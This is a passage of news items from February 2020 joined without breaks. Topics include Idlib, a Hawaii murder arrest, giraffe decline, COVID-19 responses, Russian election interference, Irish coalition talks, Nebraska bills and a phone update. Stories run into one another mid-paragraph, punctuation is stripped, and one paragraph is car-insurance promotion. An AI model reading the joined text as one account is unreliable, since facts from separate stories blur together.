weakness of Turkeys position in Idlib with little to no air defense. Apart from providing diplomatic and financial support, Western powers seem to be reluctant to risk direct military confrontation with Russia. So, supplying Turkey with Patriot air defense systems seems unlikely for now. Thus, at this point, Turkey is forced to rely on itself. It might opt to challenge Russia's control of Idlibs airspace by using Turkish-made short-range air defense systems or radar jammers. The Idlib escalation could bring ties back to the crisis mode of 2015 when Turkey shot down a Russian jet. A Washington state man who claimed his wife disappeared while the couple was vacationing in Hawaii has been arrested on suspicion of murder. On Wednesday, Sonam Saxena, 43, of Bellevue, Washington, was arrested for one count of second-degree murder in the death of his wife Smriti Saxena, according to a Hawaii Police Department media release obtained by PEOPLE. The night before, Smriti, 41, had been reported missing after her husband claimed she vanished while they walked on Anaehoomalu Bay near their hotel, according to West Hawaii Today. She got an asthma attack right there on the beach and she was feeling weak and she didnt want to walk all the way back because its almost a 20-minute walk back from that beach to our room, Sonam Saxena told the paper. So, I said, Hey, you know what? You stay here, you have your phone with you and Ill just go to the room grab your inhaler and pump and come back.' Saxena, a product manager for Google Cloud, said he left his wife for 40 to 50 minutes, but when he got back to the secluded beach she was missing. Sonam Saxena | LinkedIn Want to keep up with the latest crime coverage? Sign up for PEOPLEs free True Crime newsletter for breaking crime news, ongoing trial coverage and details of intriguing unsolved cases. Saxena told the paper he and his wife had been married for 17 years and have two children, ages 13 and 8. The family went to Hawaii every year to celebrate their eldest childs birthday. The couples children helped in searching for their mother Tuesday night. But on Wednesday morning, the body of a woman believed to be Smriti was discovered near the Bay where she went missing, according to police. Police have not disclosed evidence that led them to arrest Saxena. An autopsy is scheduled to determine her cause of death. Police ask anyone who may have been in the south beach area of Anaehoomalu Bay Tuesday evening to contact Detective Keith Simeona at (808) 326-4646 x281 or email Keith.Simeona@hawaiicounty.gov or call the police departments non-emergency number at (808) 935-3311. A century ago, more than one million giraffe used to roam across sub-Saharan Africa. But these gentle giants are now extinct in at least seven countries with only 100,000 left in fragmented populations across the continent, wildlife experts warned on Thursday. Their decline by 40 per cent over the past 30 years means that giraffes are now listed as "Vulnerable" on the IUCN Red List. Two-subspecies -- Nubian and Kordofan giraffe -- are listed as "Critically Endangered" and two others -- reticulated and Masai giraffe -- as ''Endangered''. In a bid to halt this decline, priority conservation measures have been submitted to the ongoing Convention on the Conservation on Migratory Species of Wild Animals (CMS) by Cameroon, Chad, Ethiopia, Kenya, the United Republic of Tanzania and Zimbabwe. CMS is the only UN treaty that addresses migratory species and their habitats. Delegates at the ongoing 13th meeting of the CMS COP13, which India is hosting for the first time, in Gandhinagar will also consider the need for guidance and implementation tools to mitigate the impacts of linear infrastructure on migratory species. This iconic six-metre-tall herbivore used to roam 28 African countries and is now extinct in at least seven: Burkina Faso, Eritrea, Guinea, Mali, Mauritania, Nigeria and Senegal. Infrastructure developments like roads, railways, powerlines, and pipelines have created barriers to migration, fragmenting giraffe populations and their habitats. Habitat loss and degradation have also been fuelled by wildfire, livestock incursions and illegal encroachment by humans. Poaching, snaring and trade for bushmeat, skins, tails and traditional medicine have further put the giraffe''s survival in doubt. Diseases, civil unrest, climate change, human population growth, lack of law enforcement, and lack of awareness of giraffe conservation exacerbate these threats. To protect giraffes, range states and experts are calling for Africa-wide collaboration and conservation strategies. The CMS Concerted Action for the Giraffe includes the development of an Africa-wide giraffe conservation strategy to complement national ones. The concerted action proposes more transboundary coordination and collaboration across countries to improve information exchange and monitor trends of giraffe populations. An online international giraffe database will be developed to help improve the understanding of the population status as well as the movements of the giraffe. Source: Xinhua| 2020-02-21 14:08:23|Editor: huaxia Video Player Close TEHRAN, Feb. 21 (Xinhua) -- Iraq closed its ground borders with Iran for three days on Thursday after the detection of coronavirus illness, named COVID-19, in Iran, official IRNA news agency reported on Friday. Iraqi Airways on Thursday has suspended flights with Iran over the fear of the virus spread, IRNA confirmed. Also, Iraq on Thursday banned Iranian nationals from entering the country and its own nationals from traveling to Iran. The decision came after Iran announced the detection of five infection cases in the central city of Qom. Two of the infected people died, according to the Iranian Health Ministry. Phuket unemployment jumps 34% as virus fallout bites PHUKET: The number of people in Phuket looking for work has jumped 34% year on year since late January in the fallout of the Wuhan coronavirus (COVID-19), the Phuket Provincial Employment Office (PPEO) has confirmed. tourismeconomicsChinesehealthCoronavirusCOVID-19 By Khunanya Wanchanwet Friday 21 February 2020, 12:57PM The number of people registered as unemployed has jumped 34% compared with last year due to the impact of the Wuhan coronavirus. Photo: Tanyaluk Sakoot After Chinese government banned their citizens from travel abroad because of COVID-19, the number of people coming to register as unemployed has been rising quickly, PPEO officer Thatkwan Surin told The Phuket News today (Feb 21). About 80 people come to register as unemployed every day. In total about 1,000 people have registered as unemployed from Jan 26-Feb 20, she said. The rise marked a 34% increase on the number of people formally registered as unemployed compared with the same period last year, Ms Thatkwan noted. They all used to work in the hospitality industry, as tour guides, hotel staff or boat drivers, Ms Thatkwan said. Staff of hotels, tour operators and restaurants that opened especially to serve Chinese tourists are the main ones affected, as their companies have lost their main source of income and need to cut costs, she added. The spike in Phukets jobless has created a surplus of qualified candidates, Ms Thatkwan said. The PPEO currently has only 112 vacancies recorded in our system, with 335 people qualified to apply for those positions, she explained. We have helped those people seeking work by registering them to receive compensation from social security, suggesting new jobs to them and we will hold a job market event on Mar 15, Ms Thatkwan added. At the event, there will be more than 40 vacancies available, but that will be for around 1,000 people to apply for, she added. WASHINGTON Intelligence officials warned House lawmakers last week that Russia was interfering in the 2020 campaign to try to get President Donald Trump reelected, five people familiar with the matter said, a disclosure to Congress that angered Trump, who complained that Democrats would use it against him. The day after the Feb. 13 briefing to lawmakers, Trump berated Joseph Maguire, the outgoing acting director of national intelligence, for allowing it to take place, people familiar with the exchange said. Trump cited the presence in the briefing of Rep. Adam B. Schiff, D-Calif., who led the impeachment proceedings against him, as a particular irritant. During the briefing to the House Intelligence Committee, Trumps allies challenged the conclusions, arguing that Trump has been tough on Russia and strengthened European security. Some intelligence officials viewed the briefing as a tactical error, saying that had the official who delivered the conclusion spoken less pointedly or left it out, they would have avoided angering the Republicans. That intelligence official, Shelby Pierson, is an aide to Maguire who has a reputation of delivering intelligence in somewhat blunt terms. The president announced Wednesday that he was replacing Maguire with Richard Grenell, the ambassador to Germany and long an aggressively vocal Trump supporter. Though some current and former officials speculated that the briefing may have played a role in the removal of Maguire, who had told people in recent days that he believed he would remain in the job, two administration officials said the timing was coincidental. Grenell had been in discussions with the administration about taking on new roles, they said, and Trump had never felt a kinship with Maguire. Spokeswomen for the Office of the Director of National Intelligence and its election security office declined to comment. A White House spokesman did not immediately respond to requests for comment. A Democratic House intelligence committee official called the Feb. 13 briefing an important update about the integrity of our upcoming elections and said that members of both parties attended, including Rep. Devin Nunes of California, the top Republican on the committee. The Washington Post first reported the Oval Office confrontation between Trump and Maguire. Trump has long accused the intelligence communitys assessment of Russias 2016 interference as the work of a deep-state conspiracy intent on undermining the validity of his election. Intelligence officials feel burned by their experience after the last election, where their work became subject of intense political debate and is now a focus of a Justice Department investigation. Part of the presidents anger over the intelligence briefing stemmed from the administrations reluctance to provide sensitive information to Schiff. He has been a leading critic of Trump since 2016, doggedly investigating Russian election interference and later leading the impeachment inquiry into the presidents dealings with Ukraine. After asking about the briefing that the Office of the Director of National Intelligence and other agencies gave to the House, Trump complained that Schiff would weaponize the intelligence about Russias support for him, according to a person familiar with the briefing. And he was angry that no one had told him sooner about the briefing, the person said. Trump did not erupt at Maguire, and instead just asked pointed questions, according to the person. But the message was unmistakable: He was displeased by what took place. Pierson, officials said, was delivering the conclusion of multiple intelligence agencies, not her own opinion. The intelligence community issued an assessment in early 2017 that President Vladimir Putin personally ordered an influence campaign in the previous years election and developed a clear preference for President-elect Trump. But Republicans have long argued that Moscows campaign was designed to sow chaos, not aid Trump specifically. And some Republicans have accused the intelligence agencies of opposing Trump, but intelligence officials reject those allegations. They fiercely guard their work as nonpartisan, saying it is the only way to ensure its validity. At the House briefing, Rep. Chris Stewart, R-Utah, who has been considered for the directors post, was among the Republicans who challenged the conclusion about Russias support for the president. Stewart insisted that Trump has aggressively confronted Moscow, providing anti-tank weapons to Ukraine for its war against Russian-backed separatists and strengthening the NATO alliance with new resources, according to two people briefed on the meeting. Stewart declined to discuss the briefing but said that Moscow had no reason to support Trump. He pointed to the presidents work to confront Iran, a Russian ally, and encourage European energy independence from Moscow. Id challenge anyone to give me a real-world argument where Putin would rather have President Trump and not Bernie Sanders, the nominal Democratic primary front-runner, Stewart said in an interview. Under Putin, Russian intelligence has long sought broadly to sow chaos among adversaries around the world. The U.S. and key allies Thursday accused Russian military intelligence, the group responsible for much of the 2016 election interference in the U.S., of a cyberattack on neighboring Georgia that took out websites and television broadcasts. Though intelligence officials have previously informed lawmakers that Russias interference campaign was ongoing, last weeks briefing did contain what appeared to be new information, including that Russia intends to interfere with the ongoing Democratic primaries as well as the general election. Christopher A. Wray, the FBI director, was asked during a congressional hearing this month whether the bureau saw an effort by Russia to aid or harm any particular campaign. He declined to answer in public, but said generally that the efforts to sow divisiveness and discord on both sides of an issue and to generate controversy and to generate distrust in our democratic and our electoral process thats very much ongoing. Both Republicans and Democrats asked the intelligence agencies to hand over the underlying material that prompted their conclusion that Russia again is favoring Trumps election. How soon the House committee might get that information is not clear. Since the impeachment inquiry, tensions have risen between the Office of the Director of National Intelligence and the committee. As officials navigate the disputes, the intelligence agencies have slowed the amount of material they provide to the House, officials said. The agencies are required by law to regularly brief Congress on threats. While Republicans have long been critical of the Obama administration for not doing enough to track and deter Russian interference in 2016, current and former intelligence officials said the party is at risk of making a similar mistake now. Trump has been reluctant to even hear about election interference, and Republicans dislike discussing it publicly. The aftermath of last weeks briefing prompted some intelligence officials to voice concerns that the White House will dismantle a key election security effort by Dan Coats, the former director of national intelligence: the establishment of an election interference czar. Pierson has held the post since last summer. And some current and former intelligence officials expressed fears that Grenell may have been put in place explicitly to slow the pace of information on election interference to Congress. The revelations about Trumps confrontation with Maguire raised new concerns about Grenells appointment, said the Democratic House committee official, who added that the upcoming election could be more vulnerable to foreign interference. Trump, former officials have said, is typically uninterested in election interference briefings, and Grenell might see it as unwise to emphasize such intelligence with the president. The biggest concern I would have is if the intelligence community was not forthcoming and not providing the analysis in the run-up to the next election, said Andrea Kendall-Taylor, a former intelligence official now with the Center for New American Security. It is really concerning that this is happening in the run-up to an election. Grenells unbridled loyalty is clearly important to Trump but may not be ideally suited for an intelligence chief making difficult decisions about what to brief to the president and Congress, Kendall-Taylor said. Trump is trying to whitewash or rewrite the narrative about Russias involvement in the election, she said. Grenells appointment suggests he is really serious about that. The acting deputy to Maguire, Andrew P. Hallman, will step down Friday, officials said, paving the way for Grenell to put in place his own management team. Hallman was the intelligence offices principal executive, but since the resignation in August of the previous deputy, Sue Gordon, he has been performing the duties of that post. Maguire is planning to leave government, according to a U.S. official. This article originally appeared in The New York Times. Fianna Fail will start formal talks next week to try to form a government from a fractured parliament as contenders for Taoiseach fell well short of doing so at the first sitting since the Feb. 8 election. Left-wing nationalists Sinn Fein shocked the establishment by securing the most votes but ran too few candidates to win the most seats, instead leaving it, centre-right Fianna Fail and Taoiseach Leo Varadkar's Fine Gael each controlling just under a quarter of the parliament. Sinn Fein's Mary Lou McDonald secured the most support beyond her own lawmakers in the first ballot for prime minister, adding eight left-wing votes to her 37 Sinn Fein deputies, which left her far short of the 80 required to form a government. The other two main parties' refusal to govern with Sinn Fein, the former political wing of the Irish Republican Army, puts Fianna Fail in pole position, even after leader Micheal Martin secured the support of just four independent lawmakers in addition to his own 37 deputies. Fianna Fail are the largest party in parliament with 38 elected deputies, but one was re-elected as speaker earlier in Thursday's session and does not vote. Fianna Fail will open talks with the smaller Green Party next Wednesday but has acknowledged that some kind of tie-up with historical rival Fine Gael will ultimately be the only way to avoid a second election Sinn Fein would likely relish. "At some stage in order to put a stable government together, there will have to be a conversation with Fine Gael but we're a long way off that," Fianna Fail's deputy leader Dara Calleary told national broadcaster RTE earlier on Thursday. Martin told reporters he would speak later on Thursday to Varadkar, who has said he is preparing Fine Gael for opposition after it fell to third place on 35 seats, but that it would help form a government if all other options are exhausted. Varadkar was obliged to put his name forward for re-election as prime minister and will assume the role on a caretaker basis until a new government is formed. It took Varadkar's predecessor Enda Kenny four such votes and 70 days to form an administration after the last election in 2016. Green Party leader Eamon Ryan, whose 12 deputies would give any combination of two of the three biggest parties a majority, said he hoped a prospective coalition would take shape within the next two weeks but that it would likely be late March or early April before any policy programme would be agreed. The Greens will also meet Sinn Fein next week and has not stated a preference for coalition. McDonald, who has said a Fianna Fail-Fine Gael coalition would be "a slap in the face to the Irish electorate", hoped for a change of mind from Fianna Fail on her party, although there is so far little sign of that. Her centre right rivals made a point of letting McDonald try to form a left wing-led government without them, knowing she was highly unlikely to succeed. Some of the non-Sinn Fein deputies who backed McDonald on Thursday said they would withdraw their support if she went into coalition with Fianna Fail. "It seems to me that if there is to be movement, you have to get Fianna Fail and the Greens to come together and then go to Fine Gael with some sort of agreement," said Gary Murphy, professor of politics at Dublin City University. "Otherwise you're back at the polls and ultimately Fianna Fail and Fine Gael won't want an election any time soon." (Reuters) Source: www.businessworld.ie With such a love and deep passion for nature and all its abundance, Kilkenny based artist, Ani Mollereau creates incredible pieces of art with her rare talent. Bringing a deep connection and meaning to its subject, each sculpture has its own exuberant style, unique tale and earthly value, as it comes into form as a unique creation from the heart and soul of its creator. A new exhibition of her work will open at The Sol Art Gallery, The Times Building, DOlier Street, Dublin on Thursday, February 27 at 6.30pm. Hopefully as many people as possible will get to go. Her materials are bronze, silver, bog oak and stainless steel. Her techniques cover an extensive range from the rock strength of Giacometti and Henry Moore to a delicacy born of a feminism that transcends gender to communicate on a spiritual level. The maternal power of bronze pieces like Motherhood and the mixture of earthiness and spirituality found in the bog oak and silver collection entitled Women in Celtic Mythology show the creativity and ability of Ani. Ani Mollereau was born in Dublin and now lives with her husband and four children in rural County Kilkenny where her surroundings are her inspiration. She is an exceptional, award winning sculptress and has exhibited extensively. She has won broad acceptance from the arts world and many prizes in recognition of her work, including the Oireachtas Sculpture Prize. Having spent most of her life around horses she has a great love and affinity with them. Her memories and experience have cultivated the unique and intricate stories behind her Bronze Horse collection. Anis passion for nature can be seen in her collection of woodland creatures and animal sculptures. The power and delicacy of Anis work tells us with certainty there is much more to life than mundane existence. This latest exhibition is entitled Soul Vision and the piece above was made especially for it. Cold weather returned to Nebraska this week but spring is just around the corner. This time of year, we get questions about Daylight Saving Time (DST) and there is almost always a bill in the legislature addressing it. This year, Sen. Briese introduced LB1015, which would implement year-round Daylight Saving Time in Nebraska. As written, it would not take effect until both the Federal Government allows states to do so, and until two neighboring states adopt similar year-round time legislation. Congress controls DST and under current regulations, a state can opt out of switching to DST but cannot stay on it year round. It is also important to note that if DST were in effect in mid-January, for example, the sun would not rise until 8:20 am. That bill was heard in committee this week and no action has been taken as of yet. This week the Legislature advanced LB126 with amendments. This bill would give a landowner the opportunity, if they desire, to purchase a deer hunting permit if they own a minimum of 80 acres. They could obtain up to four permits for their immediate family, but two must be for persons 18 and younger, and the other two for 19 and older. The permit is for only three days, the Saturday through Monday immediately preceding opening day of firearms season. The intent was to find a small way to reimburse the landowner for feeding the deer from his crop production. Not every farmer is a hunter, so I am not sure of the impact from this bill. There is one more round of voting before this bill is passed. LB 58, known as the Red Flag law, and LB 816, deal with mental health, domestic violence and fire arms issues. As a Second Amendment rights supporter, I am opposed to these bills as I believe we already have laws in place to deal with these important matters. I will note that law enforcement personnel in our larger cities spoke as proponents of the bill when it was heard in committee, as they obviously deal with many more applicable cases. We will begin debate this next week on LB 996, a bill to create the Broadband Data Improvement Program (BDIP). It will ensure that the State of Nebraska is accurately represented in federal broadband grant programs, including grants from the federal Universal Service Fund. The BDIP would be administered by the Public Service Commission. LB 974, the property tax relief bill, has been voted out of committee with an amendment, and that amendment becomes the bill. It will be taken up in debate on the floor in coming days. This bill is not yet in its final form, we know there will be other amendments offered. There are concerns about restricting school district expenditures and tying increases to the Consumer Price Index (CPI). I do not feel we can say we have certainty about the stability and predictability of revenue flow in future years. I will be working to see how we can find genuine property tax relief but still fund our public schools and county entities at an acceptable level. Regarding legislation I have introduced: LB 106 is a simple bill to harmonize state laws about DNA testing with federal law, and it advanced quickly to second round. LB 107 was signed into law by the Governor this week. I introduced LB 762 in front of the Appropriations Committee this week, which appropriates $10,000 from the General Fund to the Hall of Fame Trust Fund each year to be used to pay for the Nebraska Hall of Fame designee's sculpture and pedestal. Since nominees to the Hall must be deceased for 35 years before induction, the burden of the expensive bronze sculpture falls on descendants who may be unable to bear that cost. Members of the Nebraska Hall of Fame Commission and the CEO of the state historical society spoke in support. As bills come to the floor for debate, I welcome your input and opinions about the issues that are important to you. Please contact me via email at mdorn@leg.ne.gov or call my office at 402-471-2620. Thank you. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Catch the latest in Opinion Get opinion pieces, letters and editorials sent directly to your inbox weekly! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. Here is how I feel about this: I do not think that anybody Bernie Sanders or anyone else should simply get the nomination because they have 30 percent of the delegates and no one else has that many, Reid said in an interview in his office at the Bellagio, where he has a post with the MGM Resorts Public Policy Institute. Lets say that he has 35 percent. Well, 65 percent he doesnt have, or that person doesnt have. I think that we have to let the system work its way out. I do not believe anyone should get the nomination unless they have 50-[percent]-plus-one. Thank you for reading! Please purchase a subscription to read our premium content. If you have a subscription, please log in or sign up for an account on our website to continue. Metro Manila (CNN Philippines, February 21) Contrary to House Speaker Alan Peter Cayetanos claim, senators on Friday maintained the upper chambers scheduled probe into ABS-CBNs controversial franchise renewal case will not violate the Constitution. Not at all (violating the Constitution), Senate President Vicente Tito Sotto III said in a message to reporters. Besides, the hearing is focused on the resolutions filed (on) ABS-CBN, not whether we should approve its franchise or not, he added of the inquiry, which will take place on Monday. RELATED: Poe asks Senate probe on ABS-CBN franchise issues Sotto added that a panel hearing does not necessarily represent the Senate, noting that committee chairpersons are authorized to hear what their committee thinks should be heard. Senator Francis Pangilinan shared the sentiment, saying such hearing is consistent with the law and parliamentary practice. Holding parallel hearings in the Senate on bills that should emanate from the House of Representatives such as the budget bill, tax bills or franchise measures is standard parliamentary practice for decades now, he said. Cayetano, in a chance interview Thursday, hit the Senate for prioritizing the ABS-CBN franchise renewal bills, instead of past measures including charter change. Kapag cha-cha pinag-usapan, ayaw nila; wag daw muna pag-usapan, pero they feel free to violate the Constitution. Ano ba sabi sa Constitution? Saan ba mag-uumpisa ang prangkisa? Sa House o sa Senate? Cayetano told reporters. [Translation: They dont want to talk about charter change yet. But (with ABS-CBN), they feel free to violate the Constitution. What does the Constitution say? Where does the franchise come from? The House or the Senate?] Senator Risa Hontiveros also refuted Cayetanos first claim, stressing the upper chamber had conducted its own hearings on the constitutional reform measures. A total of eleven bills seeking to renew ABS-CBNs legal mandate remain pending before the House of Representatives, while a counterpart measure has also yet to pass the Senates committee level But as the Senates investigation looms, the lower chamber has yet to calendar discussions on the matter. Cayetano said lawmakers are too busy with more urgent measures pending on the table. The latest Realme X software update contains the February 2020 security patch. It is a requirement for the upcoming Realme UI upgrade. If youre a Realme X user, you have more than one reason to install the latest software update that is expected to hit the handset shortly. Not only does it carry the latest February 2020 security patch and support for Wi-Fi calling but it also serves as a minimum requirement for the upcoming Realme UI software upgrade. Since its a phased roll-out, you can expect to see the update notification pop up on your Realme X anytime now or look for it manually in Settings. Alternatively, you can head to Realmes website to download and install the update yourself. Bearing the version number RMX1901EX_11_A.12, the new software update for the Realme X comes in at 2.79GB. Since the download size is quite large, we recommend you switch to a reliable Wi-Fi network before starting the process. According to the changelog published by Realme, the update contains system enhancements to support some third-party applications better along with fixes for some known bugs and tweaks to improve overall system stability. If youre an Airtel or Jio customer, youll be happy to know that the software update also brings support for Wi-Fi calling to your Realme X. When enabled in Settings, Wi-Fi calling (or VoWi-Fi) improves call quality by routing the call through a connected Wi-Fi network instead of using mobile data. If youre an Airtel customer, its important to note that you must first enable VoLTE before attempting to enable Wi-Fi calling. If you use Jio, however, you can go ahead and enable Wi-Fi calling directly as VoLTE is enabled by default. This is not realme UI update. This update is required before realme UI update rolls out. Information for realme UI update will be given as and when the rollout starts, clarifies the Chinese electronics manufacturer in its changelog. Realme UI is a major overhaul to the ColorOS software that Realme has been using so far in many of its smartphones. The Realme C3 is one of the first models in the companys stable to use Realme UI. Other models, including the Realme X, are expected to receive it in the coming weeks. Read our review of the Realme X here. Musicians Rome Ramirez and Duddy B have stripped down their best-known songs for their current tour. Ramirez and Duddy B are hitting the road as part of the Rome & Duddy Family and Friends Tour, which starts in Albuquerque on Wednesday, Feb. 26, at Sister. The show will include acoustic versions of Ramirezs work with Sublime with Rome and Duddy Bs music with Dirty Heads. The two have also been working on new music together, with some of those songs included on the set list. The duo will be joined by Michael Brown from the reggae band Iration on some dates of the tour. It started off just from the music and just us wanting to make an acoustic project and kind of create something really intimate, Ramirez said. One of the new songs, which was recently released, is a cover of Van Morrisons And It Stoned Me. Honestly the song is the best representation of what the whole project is going to feel like, Ramirez said. We really kind of nailed it with that one. And that was the first song that kind of got us into the studio. The Rome & Duddy project was born in 2008 after Rome and Dirty Heads released Lay Me Down, the first song from an independent label to reach No. 1 on Billboards rock charts, according to a Rome & Duddy news release. And It Stoned Me is one of the songs Rome & Duddy would jam backstage, and they decided to do a version of it for the fans. The decision to record it led the two to create more music with a rustic feel. That is totally the vibe of what were trying to do, bring a little bit of a folk and reggae scene together and just really create like a really great vibe for it, Ramirez said. I think that everyone is kind of used to hearing our band in full electric and people are used to hearing folk music in full acoustic, and I think us kind of bridging worlds, were kind of trying to introduce new fans into what we do and introduce our fans to what another world does. There are no urgent plans to release an album of the new music from the Rome & Duddy side project. The two are taking it song by song and at a slower pace, which is a step away from the pairs more demanding schedules with Sublime with Rome and Dirty Heads. We always have to remind ourselves, hey, we can do it this way, because why not? Ramirez said. This is our side project. We can take our time on this, or we can do it like this, or we dont have to go here and do it this way. We can do it like this now. NASA is collaborating with the Vietnam National Space Centre for a programme on satellite observation to provide analysts and decision makers with information about environmental changes, effects of agriculture and health of forests and wetlands. A panel discussion with expert on using satellite technology to learn about the world was held at the American Center HCM City on Tuesday. VNS Photo Gia Loc Speaking at an event on using satellite technology at the American Center HCM City on Tuesday (Feb 18), US consul general Marie Damour said, The satellite observations that the NASA and VNSC are jointly making under the Land-Cover and Land-Use Change Program provide researchers with important data that will improve our world. The results of the work being done today by NASA and VNSC will generate important ideas and insights that will contribute to solving the most critical issues we face today: rapid urbanisation, air pollution, land subsidence, flooding, forest depletion, and water contamination. These are all pressing challenges, not just in mega cities like HCM City, but also in rural areas in the Mekong Delta and in many parts of the United States as well. NASA and VNSC are observing important environmental changes in rural and urban areas, she said, adding: Understanding those changes is essential to protecting our environment and enacting effective policies to address and mitigate the effects of a natural world that is changing before our very eyes. Co-operation between US agencies like NASA and VNSC doesnt just contribute to scientific advancement, it also strengthens our people-to-people ties and builds important linkages between institutions. The event was organised in co-operation by NASA, the USs Jet Propulsion Laboratory, the HCMC University of Technology, and VNSC. During the event, NASA Land-Cover and Land-Use Change (LCLUC) Program Manager Dr. Garik Gutman provided a keynote address on LCLUCs current coordination with the VNSC on the program which is an exciting example of how the U.S.-Vietnam cooperation in space and technology can contribute to finding solutions to some of the most critical environmental challenges we face today, including urbanization, air pollution, flooding, and water contamination. At the event, a panel discussion with experts after the keynote address focused on the programme and how it can be further used in Vietnam. Lam Dao Nguyen, director of the HCM City Space Technology Application Centre, said the event would not only enhance co-operation between Vietnamese and international researchers in improving eco-system benefits through earth observations, but also bring opportunities for organisations to co-operate with each other in all aspects of satellite applications. VNS - Treasury CS Julius Muia said the health docket had requested for the emergency funding to set up a coronavirus centre at Mbagathi Hospital - Muia said part of the money would go into evacuating the Kenyan nationals trapped in the virus-hit Wuhan city, China - At least 200 Kenyan students are Wuhan and they recently pleaded the government to evacuate them saying they were running out of basic supplies - The deadly virus has claimed more than 2,000 people in the ill-fated city which is currently on lockdown The Ministry of Health has made a request of KSh 1.8 billion to build a coronavirus centre at Mbagathi Hospital. Treasury Principal Secretary (PS) Julius Muia said the Sicily Kariuki-led docket requested the funding arguing that part of the money will go into evacuating Kenyan students trapped in the virus-hit Wuhan city, China. READ ALSO: Family in pain after losing three siblings within 11 days Treasury PS Muia (pictured) said the Ministry of Health had requested funding to build a coronavirus centre. Photo: Daily Nation. Source: UGC READ ALSO: Meet 64-year-old Brenda Robinson the 1st black female pilot in US Navy history Speaking to Parliaments National Planning and Finance Committee on Thursday, February 20, the PS said the ministry would use the facility to quarantine the students for 14 days once they arrive in the country. "We have had a proposal to make available KSh 1.8 billion to airlift our students from China and to also put up a hospital at Mbagathi to quarantine them," Muia said. READ ALSO: Kakamega man steals 100 women's panties, caught wearing 2 of them Health CS Sicily Kariuki. Her ministry said it would use the money to also evacuate students in Wuhan. Photo: Daily Nation. Source: UGC The issue of evacuation of Kenyan nationals residing in the coronavirus epicentre has been spiking different opinions among government officials. Speaking in the United States of America (US) on Thursday, February 6, at a conference organised by US international affairs think-tank, Atlantic Council, President Uhuru Kenyatta had said his administration would evacuate its citizens from the Asian country. However, a day later, the Ministry of Health contradicted Uhuru's orders and said the students in Wuhan were better off there for the sake of the nation. Chinese in face masks to prevent themselves from coronavirus which has claimed more than 2,000 lives. Photo: BBC. Source: UGC At least 200 students are trapped in Wuhan, the sprawling capital of Central Chinas Hubei province which has seen 97% of all deaths from the illness. Nonetheless, the Government Spokesperson Cyrus Oguna earlier today said the government had provided KSh 1.3 million to the students who recently appealed to the Jubilee administration to evacuate them since they were running out of supplies. The deadly virus, which first emerged in Wuhan city, has so far claimed more than 2,000 lives in China and has put the city on lockdown. In a matter of three days, two suspected cases of coronavirus have been reported in Kenya but the cases have fortunately turned negative. However, Kenyans took to Twitter to blast KQ for allowing Chinese nationals into the country. They said their entrance endangered the 40 million-plus Kenyans. Do you have a groundbreaking story you would like us to publish? Please reach us through news@tuko.co.ke or WhatsApp: 0732482690. Contact Tuko.co.ke instantly Giving our audience free credit | Tuko TV | VOXPOP Source: TUKO.co.ke David T. Foster III, MBO / Associated Press It will be dueling rallies in Houston on Sunday as both U.S. Sens Ted Cruz and Bernie Sanders will hold events at almost the exact same time. On Sunday at 1 p.m., Cruz will be part of a rally in support of Republican Wesley Hunt, who is running in a GOP primary for Congress in Houstons 7th Congressional District. About 20 miles away, Sanders will be hosting his first rally in Houston since April 2019 over at the University of Houston campus. Attempted theft of an ATM machine at business premises at the Largy Road area of Ahoghill. Pic Jonathan Porter Presseye Police are investigating a cash machine attempted theft in an early morning ram raid on a Co Antrim business. It happened at a business on the Largy Road in Ahoghill on Friday morning. Detective Sergeant Lenaghan said: Shortly after 2.05am, it was reported that a car believed to be a dark-coloured Vauxhall Vectra arrived at a garage forecourt in the area. "The vehicle then reversed, ramming the outside shutters of the premises a number of times. A male then got out of the car and attempted to break into the ATM on site. "The male made off in the vehicle from the scene empty handed. Damage was reported to the shutters following the incident. Enquiries are continuing and we would appeal to anyone who witnessed any suspicious vehicles in the area between 2.05am and 2.25am on Friday to contact detectives on 101, quoting reference number 118 21/02/20. Alternatively, information can also be provided to the independent charity Crimestoppers on 0800 555 111 which is 100% anonymous and gives people the power to speak up and stop crime. The incident comes after a year which saw a series of raids on ATM machines throughout Northern Ireland. Police upped patrols in rural areas and urged those at "vulnerable locations" to take extra precautions as well as encouraging building firms to secure equipment as large machinery had been used to take the machines. In one incident in April last year another Ahoghill business was targeted causing considerable damage. A number of people have appeared in court in connection with the various incidents. Car insurance costs can be lowered, when using the right strategies. Visit our website to find out more ways to reduce auto insurance costs, said Russell Rabichev, Marketing Director of Internet Marketing Company. Auto insurance is an important service for any driver. It provides financial support when the policyholder is faced with car repairs costs or medical treatment bills. In order to get access to these benefits, drivers must invest a considerable amount of money. Use car insurance quotes, provided by https://compare-autoinsurance.org/, to track the most beneficial offers. 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It was quarantined after a passenger who disembarked last month in Hong Kong was found to be the carrier of the disease. A total of 138 Indians, including 132 crew and 6 passengers, were among the 3,711 people on board the ship. The Indian embassy said in a tweet that no additional Indian national on board the ship has tested positive for the virus since Thursday. "Conditions of 8 Indians receiving treatment are improving," it tweeted on Friday. The Indian mission said it was coordinating with the Japanese authorities and ship management company for safe return of the Indians. According to an AP report on Friday, the ship has the largest cluster of COVID-19 cases outside China. A total of 634 people tested positive of the disease. Two former passengers of the ship have also died. Health Minister Katsunobu Kato told reporters that mass disembarkation of passengers from the ship was set to end on Friday. According to a report in Japan Today newspaper, over 400 passengers from the ship were scheduled to depart on Friday. Chief Cabinet Secretary Yoshihide Suga said that over 1,000 passengers and crew will remain on board the ship after Friday's disembarkations. Some of the passengers with no infection began leaving the ship on Wednesday after the end of a two-week quarantine period that failed to stop the spread of the virus among passengers and crew. Meanwhile, the death toll in the novel coronavirus in China has gone up to 2,236 with 118 more casualties reported, mostly from the hard-hit Hubei province, while the overall confirmed infection cases have climbed to 75,465, Chinese health officials said on Friday. The virus outbreak originated in China's Hubei province in December and has spread to more than 25 countries, including India. Many countries have banned arrivals from China while major airlines have suspended flights to the country. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A 'victim blaming' Australian detective has been sacked from a murder probe for suggesting that a husband might have killed his wife and three children because he was 'driven too far'. Mark Thompson sparked fury after speculating whether the deaths of Hannah Clarke and her children were a case of a 'husband being driven too far by issues he suffered'. Ms Clarke's husband and suspected killer Rowan Baxter also died after allegedly setting the family car on fire in Brisbane. Detective inspector Thompson, who has also described the murder scene as 'up there as one of the best of them', has now been taken off the case. Thompson's comments were condemned as victim blaming by domestic violence campaigners including Betty Taylor from the Red Rose Foundation and Angela Lynch, the head of the Women's Legal Service Queensland. Renee Eaves, a victims' advocate, told The Guardian that suggesting victims may be partially responsible was 'the most dangerous thing'. 'If police are 